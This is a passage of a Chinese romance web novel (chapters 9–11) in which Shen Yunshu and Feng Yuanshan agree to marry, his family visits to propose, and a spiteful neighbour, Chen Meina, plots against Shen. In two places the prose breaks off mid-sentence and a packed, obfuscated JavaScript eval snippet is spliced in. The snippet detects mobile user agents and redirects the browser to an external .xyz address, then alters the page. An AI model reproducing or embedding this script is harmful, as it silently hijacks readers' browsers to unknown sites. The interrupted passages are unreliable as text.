冯远山都要被气笑了,他发现她不但会和自行车较劲儿,还会跟他耍赖,赖不过就掉眼泪。 她那个小侄子完全随了她,一样的爱哭,还不想让人看到她哭,皮肤本来就嫩,那么用力擦,也不怕把自己给擦破。 冯远山压下想要抬起的手,从她红肿的眼角敛回视线,看到墙根底下放着的工具箱,他屈膝半蹲下身,打开工具箱。 里面各种东西都很齐全,收纳得也干净整齐,他找到自己需要的,转身走到院门口,利落修好被撬开的门锁,明天连这个锁也一块儿换成新的。 等冯远山修完锁再回来,沈云舒勉强整理好了失控的情绪。 她递给他一块儿湿毛巾,该道的谢还是要道的,“谢谢您。” 冯远山接过温热的毛巾,几下擦完手,又将毛巾递回给她,沈云舒伸手接,冯远山握着毛巾没松,“所以你打算多认真?” 沈云舒不解看他,水润润的清眸倒映着他的影子,胜过月色下的湖光潋滟。 冯远山道,“你不是说你没打算糊弄过日子。” 沈云舒慢慢攥紧毛巾,垂下眼,半晌,轻声回,“那得要看你有多认真。” 更深夜静,寒风卷起无人知晓的微澜。 冯远山认输似的,最终抬起手,将她眼角溢出的潮湿一点点抹去,“至少,不会让你再掉眼泪。” 9.第 9 章 沈云舒靠在热气缭绕的浴桶里,修长的雪颈被蒸出薄浅的粉,像雨中的梨花,莹润的肩头覆着晶莹的水珠,耳根处几缕头发被打湿,眼尾哭过的红肿还没消退,她一动不动地盯着墙面虚无的一点,神色有些怔忪。 想到什么,又扶着浴桶从水中起身,扯过浴巾裹在身上,趿着拖鞋走到里屋的柜子旁,拿钥匙打开锁,在柜子最底下藏着的盒子里翻出存折和户口本。 他说明天会来家里提亲,先把结婚的事情定下来,他月中要出趟远门,得走小一个月才能回,要么在他走之前把证领了,要么等他回来之后再办,他让她选。 她选在他走之前办,要是等他回来,厂子里的购房补贴就没有了,照她的工龄,全款买房得额外支付一大笔费用,既然是已经决定好的事情,也没什么好拖的,能早办就早办。 明天起来,她得先去和青萤姐说一下现在的情况,不能她这边全都定好了,青萤姐还什么都不知道,然后还要去厂里请一天假,明天上午他来家里提亲,下午她带着小知言去他家吃饭。 沈云舒在脑子里过了一遍明天要做的事,快速地洗完头,边晾着头发,边把里屋外屋全都重新打扫整理了一遍,又找出小知言和她明天要穿的衣服,等头发干得差不多了,她打开屋子的门,将浴桶里的水一桶桶倒进院子里。 深夜凛寒,万籁俱寂,沈云舒站在院子里,看着头顶的夜空,轻轻叹一口气,她虽然不知道她这一步走的是对是错,但他的话多少给了她一些坚定。 冷风吹过,她裹紧身上的衣服,提着水桶要回屋,院墙外传来一点细微又清脆的声响,像是打火机的声音,听得不太真切,沈云舒脚步一犹豫,调转了方向,慢慢走向院门口。 淡淡的烟草气在风中弥散过来,沈云舒不安中又带上了几分确定,“冯大哥,是您在外面吗?” 冯远山浸过烟的嗓子有些沙,“洗完了?” 沈云舒轻“嗯”一声,他知道她要洗澡,去提了两桶水,把水缸给她填满,又嘱咐她锁好门就走了,她还以为他早就离开了。 她将水桶放到地上,要打开门锁。 冯远山止住她,“别开了,我马上就走。” 沈云舒又停下,她想了想,开口道,“您不用担心,今晚他肯定不敢再来闹,他那种人,胆子说大也大,说小也小,被您那么一吓,他会消停好一阵子都缓不过来。” 这是一次一次被闹的都总结出经验了,冯远山一想到她紧握着菜刀的样子,神色就覆上一层寒,他看着黑漆漆的铁门问,“你呢?” 沈云舒没明白,“嗯?” 冯远山道,“你被那么一吓,现在缓过来了吗?” 沈云舒嗓子蓦地一涩,又被她很快掩过去,她故作轻快地回,“早缓过来了,我胆子大得很,什么都不怕,连老鼠都敢抓。” 冯远山扯了扯唇角,“是,搁古代,你就是拿刀上阵的女将军。” 沈云舒酸涩的眼睛不自觉地弯了些,心里堵得她发慌的那道墙好像也挪动了些位置。 只是躺回到炕上,左翻一个身,右翻一个身,半天还是睡不着,他说她关了灯就走,她回到屋没再收拾别的,关灯直接上了炕,这会儿他应该已经走了。 她又在被子里窝了一会儿,还是找不来困劲儿,便摸黑下了炕,拿着手电筒从柜子里找出她前两天新买的毛线,原是打算给小知言织两件明年开春的毛衣。 毛线是深蓝色的,用到哪个年龄段也不难看,明天要去他家,除了要买的东西,她再给顾老太太织一条围巾,自己亲手做的,总归是个心意。 顾老太太还不知道明天家里有人要登门,但直觉有什么大事要发生,所以今天没早早地回房睡觉,在厨房里煮红豆蒸红薯,弄些馅儿出来,准备明天蒸豆包吃。 老太太手上忙得停不下来,耳朵时刻注意着外面的动静,院门一响,她就从厨房探出头去,冯远山推门进来,看到老太太,像是早有预料,“您还没睡?” 顾老太太哼一声,“我能睡着吗?大晚上的你黑着一张炭烧的脸出去,又一直不回来,我还以为你是找谁去干仗,被人扣派出所了,正准备打电话找人去捞你呢。” 冯远山唇角不明显地动了下,他们家老太太损人轻易没谁能比得过。 顾老太太扫他一眼,心里多少有了些谱,面上虽然看不出什么,至少身上那股子少见的躁郁劲儿没了。 冯远山走到厨房,递给老太太一厚厚的信封。 老太太接过来一看,眉毛高高地挑起,“又给我这么老多钱干什么,你前两天不是刚给我了,钱多烧屁股疼了?” 冯远山寻常语气,“明天下午您外孙媳妇儿要来登门吃饭,您不得准备上红包?” 老太太被这平地一声雷惊得差点把手里的铲子砸到地上,“真的?!” 冯远山拿过她攥着的铲子,翻搅起快要糊了的锅底,“什么时候骗过您。” 老太太盯着他看了一会儿,得到最终确认,她故意沉下脸来装冷淡,“你这黑不提白不提的,从哪儿突然给我整出来一个外孙媳妇儿,我先跟你说清,那些歪的邪的乌七八糟的,我可不认,来了我也得给你轰出门去。” 冯远山道,“您喜欢的不一直就是那一个?” 这下顾老太太嘴角的笑再也绷不住了,什么叫她喜欢的一直就是那一个,明明心里有鬼的是他。 她一巴掌拍到冯远山背上,“你不是说跟人姑娘没话聊?” “多见几次就有话聊了。” “你不是嫌人年纪小?” “年纪小嘴甜会撒娇。” 顾老太太愣了下,眼里笑又深,她拿胳膊肘拐了拐脸上一直没什么表情的冯远山,暧昧问,“跟你撒娇了?” 冯远山关掉煤气炉,“有一件事还没跟您说。” 顾老太太往他跟前凑,“啥事儿?你放心跟我说,你没谈过对象,没经验,你姥儿我可是过来人,对这男女之事一看就透,她能跟你撒娇说明她心里已经有你了,你再加把劲儿,咱争取年前就把人娶进门。” 冯远山平静道,“明天上午要先去她家提亲。” 顾老太太张着嘴,好半天才把冯远山嘴里说出来的每一个字连在一起,组成一句完整的话。 安静的院子被一声怒吼划破,把墙角的鸡窝都给炸开了锅,“你个臭小子!老婆子我心脏没问题也得让你吓出病来,这么大的事儿你怎么不早说!!” 顾老太太在屋子里转成了陀螺,“上门的东西一点儿都没准备,等明天镇上的商场开门再去买就太晚了,供销店副食店里面肯定都买不齐,不行,我现在给你舅妈打个电话,先在她店里拿东西,让你舅明天一早送过来。” 冯远山的舅妈林素萍原先在国营厂里当会计,后来国营厂解散她被迫下岗,心情郁闷无处排解,索性去南方旅了一趟游,见识了很多新鲜玩意儿,回来就照猫画虎,开了县城里第一家超市。 前两年没经验,老百姓对在超市这种地方买东西也不认,差点儿就黄了,但林素萍是那种认死理的人,认准的事情就一定要干成,店好不容易开起来,不想随随便便就关掉。 正好冯远山在广州有认识的人也开超市,他带着林素萍过去取了几次经,今年店里的情况总算慢慢好转起来。 冯远山拉住快要飞来的老太太,把她按到椅子上,让她不用急,“我已经给大舅打过电话了,明天他和舅妈一起过来,该准备的东西舅妈也会准备好,不过糖得劳烦您明天一早去供销店买一趟,也别骑车,就走着去,谁问您去干什么,您如实说就行。” 顾老太太好笑地看他,“呦,我还心说你舅妈那儿又不是没糖,质量还比咱镇上的好,让她一块儿带来得了,干嘛还单独让我去买一趟,敢情你这是要大张旗鼓地宣示主权,让镇上的人都知道云舒现在是你媳妇儿了。” 冯远山简单跟老太太说了下今晚的事情。 顾老太太听完脸色一寒,“行,我知道了,这事儿姥指定给你办得妥妥的,不出一天的功夫,不只咱们镇,就是其他几个镇,也得让他们全都知道云舒是咱家的人了,别说是打歪主意想动云舒一下,就是说云舒一句坏话,就是跟咱整个顾家过不去。” 冯远山对老太太的战斗力从不怀疑,应该都用不到一天的时间,所有人都能知道他和她要结婚了,知道了才能有所忌惮,不管是谁。 祖孙俩又商定好提亲后的一系列事情,时间赶是赶些,也不是来不及,新房是现成的,三金她早几年就备好了,其他的只要钱到位,都能安排妥当。 顾老太太最后又想起了件事,“明天去提亲,要不要跟你爸那边说一声?” 冯远山道,“先不说,等办婚礼的时候再说。” 顾老太太也觉得不说就不说,依照冯敬峰那个性子,还有他那个凡事儿都想插一脚的媳妇儿,提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15119136|163625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了指不定得整出什么幺蛾子。 冯远山起身,拿起椅背上搭着的外套又要出门的架势。 顾老太太看他,“你还要出去?” 冯远山道,“去工厂转一圈,那边这阵子晚上不安定。” 顾老太太的眼睛眯起,怕是晚上不安定的不是工厂那边吧。 沈云舒一夜没合眼,她赶出了一条围巾,又用上次做衣服剩下的皮料子做了三副皮手套,一副给他舅家的弟弟,其他两副给他舅和舅妈,他没提他父亲那边的事情,她也没多问。 她拿布帘盖好缝纫机,看了眼时间,都快六点了,她也不去睡了,用凉水洗了把脸清醒了些,烧火坐上锅,趁锅没开的功夫,打开院子里的灯,把院子的角角落落都拾掇了拾掇,又打开院门,想将院门前的胡同也扫扫。 门一打开,门外的人刚想敲门,两人都顿住,沈云舒后退一步,眼里和脸上全是戒备,“你怎么来了?” 周时礼昨天在饭局上喝个烂醉,回到家一觉睡到现在,酒劲儿还没大醒,他晕晕乎乎地骑着车本来是一大早要回城上班,刚骑到镇东头,又拐了回来,有些事情他得让她知道。 “云舒,我知道你恨我,也不想见我,但我不能明明知道了一些事情却不告诉你,你知道吗,冯远山那方面有问题,是他在广州出的事情,你要是嫁过去,就是守一辈子的活寡。” 沈云舒冷着脸朝他举起扫帚,以后她真该在这个门口也放一把菜刀,让他还敢再来,“我就是守活寡我也乐意,你滚不滚,不滚我这一扫帚下去刮花了你的脸,我可不负责。” 周时礼看出她眼里不留余地的决绝,只得无奈离开。 沈云舒看他出了胡同,才将扫帚放到地上,一下一下地用力扫起了地面,也将被气出的眼泪用力给憋了回去,不值得,为这种人再多掉半滴眼泪都是傻。 扫到墙根的拐角处,她落在地上的视线突然定住,又一点点抬起,然后愣在了原地。 她家在胡同的尽头,再往左走就是一片树林,一辆车顺着她家的墙根拐在树林里,黑色的车身融在夜色中,要是不靠近,很难会发现。 冯远山懒懒散散地倚着车门,指间夹着一支猩火半燃的烟,不知道在那儿站了多久,察觉到落在他身上的目光,他转眸看过来。 两人隔着清晨的雾气对上视线,沈云舒回过神,上前一步,有些不确定,“冯大哥,您是……一直没走吗?” 冯远山只简单道,“老太太不放心,打发我过来守着。” 沈云舒慢慢走近他,仔细看他的脸色,“冷不冷?去屋里喝口热水缓缓。” 冯远山看着她通红的眼眶,皱了下眉,他说不会再让她掉眼泪,却挡不住她为别的男人哭,冯远山从她脸上移开视线,将烟直接掐灭,嗓音略沉,“不用,我这就走了。” 沈云舒在一瞬间捕捉到了他眼里的不耐,他大概是听到了周时礼的话,也是,任谁都不喜欢自己的另一半有一段纠缠不清的过往,他大概也厌烦。 她想解释,却又不知道该从哪儿开始说起,虽然周时礼在她这里已经掀过篇去,但她这段过去确实是存在的,如果他介意的话,她再怎么解释也没用。 冯远山开门要上车,又停下,看她,“你有没有什么要问的?” 沈云舒绷直着背,想了想,“你待会儿大概几点来?” 他要是打定主意不会来了,她也就不着急忙慌地收拾了。 冯远山扶着车门默了会儿,给出时间,“不会太晚,十点左右。” 沈云舒握紧扫帚,像是给自己增加些确信,“好,我等您来。” 冯远山又看向她。 她一会儿“你”,一会儿“您”,结婚虽然是她先提出来的,怕是她自己都还没从心里接受要和他结婚这件事。 他叫她一声,“沈云舒。” 沈云舒仰起头,对上他压下来的目光,眼里有她自己都不知道的紧绷,他要是反悔掉他刚才的话,她也不是没有心理准备,反正她身上所有的事情,到最后总能出岔子,她已经习惯了。 冯远山道,“我是你以后的丈夫,我在你这儿,不是‘您’”。” 沈云舒呼吸一紧,好一会儿,她找回自己的声音,“远山哥,我在家等你来。” 她的红唇在他眼前一张一阖,冯远山轻叩着打火机的食指慢慢定住。 她带钩子的,可不只有这双眼睛。 10.第 10 章 顾松寒不过是在工厂值班睡了一晚,回到家就惊闻了他哥要结婚的事情,一时间还以为自己是在梦中没有睡醒,方青萤第一次说媒没想到竟然给说成了,云舒和她说的时候,她差点咬住自己的舌头。 两个人都是又懵又激动的状态,碰到面不约而同向对方道了声喜,又给围在院子门口看热闹的大人小孩儿大把地散着喜糖,让大家都沾沾喜气。 林素萍和顾庭钧本来还纳闷儿,远山这么多年都没结婚的心思,这次怎么这么急地定下了终身大事,见到沈云舒后又觉得确实要着些急。 房子不大,但收拾得干净利落,又处处透着温馨,姑娘模样儿出挑极了,待人接物更是落落大方,说话带着浅浅淡淡的笑,目光一落到她身上,根本舍不得移开眼,这么好的姑娘他们老顾家可不得先定下,不能让别家给抢了。 沈云舒父母去世的早,两方的亲戚平时也没什么联系,这些年大事小事都是她自己做主,哪怕是说到自己的婚事,也用不着请哪个长辈来给她出面,她自己谈就可以。 她表面看着很淡定,但要说没有紧张是假的,她尽力稳住自己,给顾老太太倒一杯茶,“您喝茶。” 顾老太太笑得嘴都合不拢,连连说好。 她越看这个准外孙媳妇儿越觉得欢喜,相比往常的素净,沈云舒今天穿了件荷叶领的米白内搭,外面套了件姜黄色的毛衣衫,一头乌黑的长发简单挽起,月眉星眼,肤若凝脂,怕是十里八镇都再难找出一个比这还俊的姑娘,她一个老婆子看了心里都觉得晃。 沈云舒顶着落在她身上的几道目光,又去给林素萍倒茶。 林素萍更近距离地看沈云舒,忍不住暗自咂舌一声,这皮肤嫩得就跟那刚剥了壳的荔枝一样,晶莹剔透的,她悄悄对顾庭钧使了个眼色,远山眼光真是好,这是捡了个宝回家。 顾庭钧轻咳一声,让她收敛些,头一回见面,再把孩子给吓到。 沈云舒被林素萍不挪眼地看着,握着茶壶的手有些紧,壶口差点偏了方向,有人走到她身后,虚握住她的手腕帮她稳住壶,他身上清冽的气息似碰非碰地包裹着她,沈云舒睫毛颤了颤,眼睛盯着茶杯的边沿一动不动。 茶杯里的水倒满,冯远山从她手里接过壶,也不看她,只道,“你去坐。” 顾老太太笑,“对,云舒,你过来坐,让他弄。” 沈云舒笑着应了老太太声好,又看他一眼,冯远山转身去给顾庭钧倒茶,两人的目光没有对接上,沈云舒唇角的笑浅了些。 自从他们下车进了家门,她的心一直是慌着的,她只顾着跟老太太和他舅妈寒暄,还没和他说上一句话。 早晨他走之前给她扫完了胡同,又倒了垃圾,脸始终是冷的,现在脸上也没什么温和色,她不知道他到底是怎么想的,又有些不太确定他们这一步是不是走得太快了,但此刻的情况也容不得她再有什么迟疑。 沈云舒撑起笑,坐到了顾老太太对面的椅子上。 顾老太太早就看出了小两口有些不对劲儿,他们家这个老大,打小就是稳重的性子,心思深,话也少,高兴不高兴,都不太会上脸,身上气势又盛,面上再一没什么表情,别人都不太敢正眼和他对视,在外人面前也就算了,跟自己媳妇儿要也是这副样子,人家姑娘不多想才怪。 老太太还想等他坐下,提醒他一下,只见冯远山给顾庭钧倒上水,又倒上一杯放到沈云舒手边,然后扯了把椅子过来,直接坐到了她的旁侧。 老太太这下乐了,位置摆得还挺正,知道自己和谁是一道的了。 沈云舒也有些意外,原本她一个人面对着对面的顾老太太还有他舅和舅妈,心里多少会有点没底,他这样坐过来,胳膊抵着她椅子的扶手,哪怕什么都不说,好像也能分担走她身上的一部分压力。 她又看向他,冯远山也看过来,他的脸还是冷的,沈云舒对他扬起了些笑,冯远山盯着她的眸光转深,沈云舒眼神微闪,低头端起水杯,喝了口水,温热流淌过她的胃,慢慢缓解了她心里的紧张和不安。 婚事两方坐在一起真要谈起来也没那么复杂。 顾老太太说结婚证可以先领,但婚礼还是等冯远山出远门回来再办,结婚是一辈子的大事儿,不能随便敷衍,她得找人挑个好日子,而且他们家这么多年好不容易有一回喜事,得好好热闹热闹。 沈云舒下意识地看旁边的人,其实证领了,后面办不办婚礼她都无所谓,主要是看他。 冯远山开口道,“你要是想我走之前办也可以,急有急的办法。” 沈云舒一顿,这样说得她好像有多着急似的,她转头对顾老太太道,“听您的,等远山哥回来后再办婚礼。” 顾老太太心里憋笑,拍板定下这件事,又拉着林素萍和沈云舒一起商量起办事儿的一些细节。 无论顾老太太和林素萍说到什么,沈云舒都没意见,点头笑着说好,林素萍在一旁看着,觉得她这样乖乖巧巧的,好也不好,什么都没意见,说白了其实就是不太上心。 冯远山在顾家长大,在林素萍这儿,冯远山和顾松寒没区别,所以林素萍看沈云舒有点像婆婆看儿媳妇,她心里不免多想,亲事本来就定得着急,这姑娘要是再有什么别的心思,以后过日子肯定得过出什么岔子。 沈云舒能感觉到林素萍打量的视线,但更让她忽略不掉的是一直落在她身上的另一道目光,她借着喝水偏头探过去。 冯远山回她眼神里的询问,“你不能什么都说好,得提点自己的意见,你这样,老太太和舅妈是高兴了,回头那天折腾的是我俩。” 沈云舒有些领会到他话里的意思,她笑着回,“我不怕折腾,姥姥和舅妈高兴,我就高兴,你要是嫌折腾,那天你就在新房里坐着当你的新郎官,迎亲可以找个人代替你去迎,那样多轻省,一点儿都不折腾。” 顾老太太一听这话,笑得不行,她拉着沈云舒的手道,“我看这个方法行,他要是想找轻省,咱就让他轻省到底,迎亲都不让他去迎。” 林素萍也立马站到了沈云舒这边,笑骂冯远山,“就是,嫌折腾你娶什么媳妇儿,你就随你舅,一点情趣都没有,连个结婚纪念日都不记得。” 冯远山给林素萍赔罪,“我错了,一切都听舅妈的。” 林素萍嗔他一眼,看沈云舒的眼神也愈发满意,人家姑娘这是懂事儿,紧着她们长辈的意思来,她这个当舅妈的总不能再鸡蛋里头挑骨头,没毛病也非要挑出些毛病来。 顾庭钧暗暗地给冯远山竖了个大拇指。 行啊,他还说要给他传授些做人家丈夫的经验,他这完全是无师自通,轻轻松松护下了自己媳妇儿不说,还让家里三个女人站在了统一战线上,立马就拉近了关系。 关键是他这个外甥儿媳妇儿也是个聪明伶俐的,每句话都能说到老太太心坎上,这还没领上结婚证呢,小两口已经有了一唱一和的默契。 冯远山不搭理顾庭钧的揶揄,起身挨个给大家续上茶,倒到沈云舒的茶杯时,茶壶里没了水,他扫一眼屋内,看热水壶放在哪儿,沈云舒从椅子上起来,去给他拿,冯远山迈步直接跟过去。 顾老太太还在跟林素萍商量着宴席要摆多少桌,墙角的两人安静地给茶壶里倒着热水,沈云舒站在他的身边,手指抠着茶壶的盖子,半晌,低声道,“今天谢谢您。” 谢谢他没让她一个人面对他的家人。 冯远山看她一眼,没说话。 沈云舒马上意识到她说错话了,她又改口,“谢谢你,远山哥。” 冯远山从她手里拿过盖子,盖到了茶壶上,不冷不淡地回了句“客气”。 沈云舒犹豫了下,伸出手,给他展了展毛衣有些褶皱起的领口,声音更轻了些,“衣服很适合你。” 他一下车她就看到了,黑色的高领毛衣外搭黑色的大衣,和他冷硬的气场很搭,她一直都知道他有一副好相貌,是那种哪怕站在人山人海里,都能让人一眼看到的出众,今天这种实感好像更强了些。 冯远山看着她的眼睛,拧着盖子的手停住。 沈云舒在他的注视下,指尖由里向外起了灼烧,她若无其事地收回手,快步走回到椅子旁,正好接上顾老太太问过来的话,至于回了什么,她自己都不太知道。 等方青萤应付完外面的人进了屋,顾老太太才说到彩礼的事情,一开始没说,主要是怕没个中间人在,他们提出的沈云舒要是有什么不满意的地方,她自己也不好意思说出来。 对于彩礼,沈云舒原本想的是,她也没什么能拿出手的嫁妆,所以彩礼他们说给多少,她都没二话,可当冯远山把捆着红线的几摞钱拿出来时,沈云舒心里惊了一下,一时没说出话来,据她所知,镇上应该没有比这再高的了。 方青萤一看沈云舒的神色,怕她再说出什么回绝的话,直接做主替她应了下来。 等事情都谈妥,冯远山和顾家人走后,方青萤劝沈云舒,“你不要觉得这钱有什么拿不得的,钱虽然不能说明一切,但在现在这个阶段,至少能代表他家对你的一个态度,而且说到外面去,别人也会知道你是他老顾家看重的孙媳妇,任谁也不能看轻你。” 方青萤拍拍她的手,又道,“当然这不是最主要的,老太太跟我说的原话,你娘家没人,手里有些钱,底气才会足,这钱你是存银行也好,还是想着给自己添些嫁妆也好,都随你自己怎么用,钱给了你就是你的。” 沈云舒怔了怔,勉强笑笑,“我就是觉得有些不踏实。” 方青萤笑,“这有什么不踏实的,顾老太太得你这么一个好孙媳妇儿,乐得都不行了,给多少彩礼他们都乐意,这老太太还怕你有什么不满意的,走之前悄悄跟我说,你要是觉得哪儿不行,只管提,不要不好意思。” 沈云舒喃喃回,“我觉得都挺好的。” 真的是都挺好的,所有的一切都超出她的预料之外了,他家里人和善,也好相处,看得出来是真心实意地想要接纳她,他话虽然不多,但好多事情都做在了前头,她发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15128496|163625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现……他好像只是外表看着冷了些。 方青萤想到什么,又笑,“是挺好的,你不知道,我刚才一进屋,看着你和冯远山肩抵着肩地坐在一起,我就恨我自己没钱买个照相机,真该把那一幕照下来,你都不知道你俩那样坐在一起有多般配。” 有肩抵着肩吗,沈云舒回想了一下,他们当时没有挨得那么近吧…… 方青萤道,怎么没有,我都亲眼看到了。 两个人在屋里说着话,根本没有注意到外面有人走进了院子。 方青萤又拿出顾老太太给她的东西,“有一件事,老太太一定让我跟你提一下,冯远山呢,之前在广东出过一场车祸,当时伤到了肺,进过手术室,不过现在已经完全好了,也没留下什么病根儿,但现在街上不知道怎么传的,就传成了说他那方面有问题,老太太怕你也听说过什么,心里会犯嘀咕,就把他当时的出院报告还有体检报告都给你拿过来了,你看看。” 沈云舒大概地翻了翻那些文件,好多地方虽然她都看不懂,也能看出他当时伤得应该挺重的。 方青萤看她面色有些严肃,凑过来些,“你要是还不放心,可以先试试他。” 沈云舒没反应过来,“这要怎么试?” 方青萤贴在沈云舒耳边说了几句。 沈云舒听完脸都快烧着了,她摇摇头,“他没提应该就是没事儿,退一万步说,就算他真有什么问题,只要他真心待我和小知言,我也能和他做一辈子夫妻,那种事儿……我不觉得有什么好的。” 她晚上在外屋做衣裳的时候,经常会听到陈美娜和张明达弄出的声音,陈美娜要么哭得上气不接下气,要么哼唧地像杀猪叫,大多的时候是没几声就暴怒起来,对张明达破口大骂,张明达脸上时不时起来又下去的疤,估计大都是让陈美娜给挠出来的。 她实在是不知道那种事儿好在哪儿,虽然他俩三五不时地就要来上一回。 方青萤被沈云舒的话逗得都快笑出泪来,她捏捏她透着粉的脸蛋儿,“哎呦,我的傻姑娘,姐没法跟你细说,总之,你按照我说的,找机会试试他,听我的没错。” 沈云舒是绝对不会试的,她之前和周时礼聚少离多,两个人在一起时,她最多也就是让他拉拉手,再多一步她就不肯了,青萤姐说的根本不在她的认知范围内,打死她也做不出来。 方青萤还得赶着去卫生院上班,不能再和沈云舒多聊什么,不然她非得给她普及一下这方面的知识。 沈云舒怕的就是青萤姐会拽着她再说什么,她转身去找袋子,想把他拿来的那些瓜子糖还有水果给青萤姐装一些,让她带走。 方青萤挥手说不要,掀帘直接出了屋,脚跨过门槛,人愣在原地,冯远山将手里的烟掐灭,对她微微颔首,方青萤尴尬地笑两声,她们说的话他肯定听到了。 沈云舒追着方青萤从屋里出来,看到院子里去而复返的人,有些意外,“远山哥,是忘拿什么东西了吗?” 冯远山道,“我来量一下门的尺寸。” 方青萤回头对沈云舒眨眨眼,机会这不就来了,要试就赶紧试。 沈云舒红着脸把东西塞到方青萤怀里,让她赶紧走,越说越没个正经,这还是大白天呢。 方青萤和冯远山打了声招呼,小跑着走了,还把院子门给他们关上了。 沈云舒一单独面对他,就会有些莫名的紧张,再加上也不知道他听没听到她和青萤姐的话,她就更紧张了,手攥着门帘,一时不知道是该请他进屋,还是要怎么办。 冯远山替她做决定,“去拿卷尺还有纸笔。” 沈云舒回过神,转去屋里拿。 冯远山把门帘摘下来,叠好,放到一旁,沈云舒拿来卷尺,递给他,冯远山接过去,抻出卷尺头又递到她手里,示意她将卷尺摁到墙根底。 沈云舒依言照做,她半屈膝蹲下,一抬头,正对着他劲瘦的腰,她忙移开眼,耳根起了浅浅的粉。 冯远山量好高度,在她拿来的本子上记下数字,看她一眼,视线定在她的耳朵上,低声道,“好了。” 他伸出手,要扶她,沈云舒的手抬了抬,又落下,她扶上自己的膝盖想起身,脚下没能站稳,身体向后仰去,冯远山上前一步攥住她的手腕,将她拉了回来,沈云舒靠着他的胳膊站直,耳根又添了一层红。 冯远山垂眸看她的脚,“有没有崴到?” 沈云舒动了动脚踝,“没有。” 冯远山这才松开她,两个人挨得极近,他一抬头,温热的气息擦过她的睫毛,沈云舒僵住。 她想后退离他远一些,却根本挪不开脚,无处安放的视线落在了他的喉结上,青萤姐贴在她耳边的话直直地蹿进了她脑子里。 冯远山看着她都快滴出血的耳朵,屈指敲一下她莹白的额头,似笑非笑道,“沈云舒,你脑子里现在在想什么?” 沈云舒巴掌大的一张小脸儿登时红了个彻底。 像熟透了的软桃子,稍微一碰就能碰出水儿。 11.第 11 章 陈美娜这个周末过得窝了满肚子的火,她这周回娘家,目的只有一个,那就是借钱买房。 厂子的效益现在一天比一天不好,要是没个转机,哪天要他们下岗或者直接关门都是说不准的事儿,到时候厂办再把房子收回去,那他们不得去住大街,所以还是早做打算的好。 为此她特地给她爹买了两斤排骨和一只烧鸡,又磨了两天两夜,磨得她那个铁公鸡的爹好不容易吐了口,最终却只同意给她五百块。 五百块能买个屁,她和张明达的那点工资每个月基本都没剩,这些年根本没攒下几个钱,张明达他家是村里的,连指望都不用指望,她原想着靠娘家支援,哪知道她现在就是那泼出去的水,她是死是活他们根本就不在意,手里那钱藏得长了蛆也不借她,一家子混蛋玩意儿。 这还不是最让她窝火的,昨晚张明达那傻缺说他出去打麻将,谁打麻将会把自己打瘸半条腿回来,他那点儿猪脑子根本不经诈,她还没问几句就逼出了实话,他不是去打麻将了,他是跑回家去了。 大半夜的一个人跑回家去干什么可想可知,陈美娜一气之下拿烟灰缸砸破了他的头,现在人在医院住着呢,她要把这笔账都算在隔壁那狐狸精的头上,买房还缺的钱她得全让她给出了,她知道她有钱,当初厂子可是给她那个短命的哥出了一大笔钱。 陈美娜骑到胡同口,就看到前面站着一堆人,真是老天爷都在帮她,她忙使劲挤了挤眼睛,按闸停下自行车,刚要抹眼泪搭台唱戏,就看到了被人围在中间的方青萤,她蹭一下又把眼泪给收了回去。 方青萤和陈美娜是初中同学,两人上学的时候就不对付,现在看对方就更不顺眼了。 陈美娜当初学习不如方青萤好,现在工作也不如方青萤,唯一让陈美娜觉得能压方青萤一头的就是男人。 方青萤找的那个海员男人虽然模样儿好,挣的钱也多,但一年到头都不着家,有他跟没他也没两样,不像张明达,一天到晚就守在她跟前,她想打就打,想骂就骂,她一瞪眼,他大气都不敢出一下,夏天有人给她扇扇子,冬天有人给她暖被窝,方青萤应该都不知道自己独守空房多长时间了吧,这都到年根底了,她男人还不回来,没准儿就是被国外的哪个洋妞给迷住了眼,不要她娘俩了。 陈美娜冲方青萤撇撇嘴,转头看向国强媳妇儿,她俩平时最能说到一块儿去。 国强媳妇儿仔细瞅陈美娜,“美娜你这是咋了,脸黄得都快跟南瓜一个色儿了,昨儿夜里没睡好?” 其他人也跟着看过来。 陈美娜在心里绕圈翻了个大白眼,你的脸儿才跟南瓜一个色儿,但现在也不是计较这个的时候。 她假装叹一口气,“婶儿,别提了,昨天晚上我不是住我娘家吗,半夜胃病犯了,也忘了带药,我就打发张明达回家里来拿,谁知道他刚走到门口,就看到一大男人从我们院里出去,您也知道他胆子小的不行,平时看见个黑影就害怕,当时黑灯瞎火的,那男人又高又壮,可把他吓得不轻,他扭头就跑,结果把自己的腿给摔断了,头也磕得不轻,现在在医院住着呢,什么时候能出院还不知道。” 陈美娜虽然没有明说,但话里话外的意思都是沈云舒趁她和张明达不在家,把野男人往家里带,这才害张明达摔断了腿,受了伤。 她边说着话,边观察着大家的反应,她笃定沈云舒不敢把昨晚的事情先张扬出去,大半夜的有男人上门来找她,除非她自己名声不要了,以后也不打算嫁人了。 这个哑巴亏她这次是让她吃定了。 但是陈美娜等了半天也没等来大家的惊讶和追问,就连国强媳妇儿也没接她的话,看她的眼神还有些一言难尽。 陈美娜不知道的是,沈云舒一大早就挨家挨户地敲了胡同里各家的门,说昨晚她院里被撬锁了,提醒大家以后晚上警醒些,他们这块儿可能被贼盯上了,她又顺便说了下那个贼大概的长相。 大家邻里邻居的住了这么多年,谁是什么样的人各自心里都有一本账,大家一听沈云舒的话,大概就有了数儿,这种事儿也只有张明达能干出来。 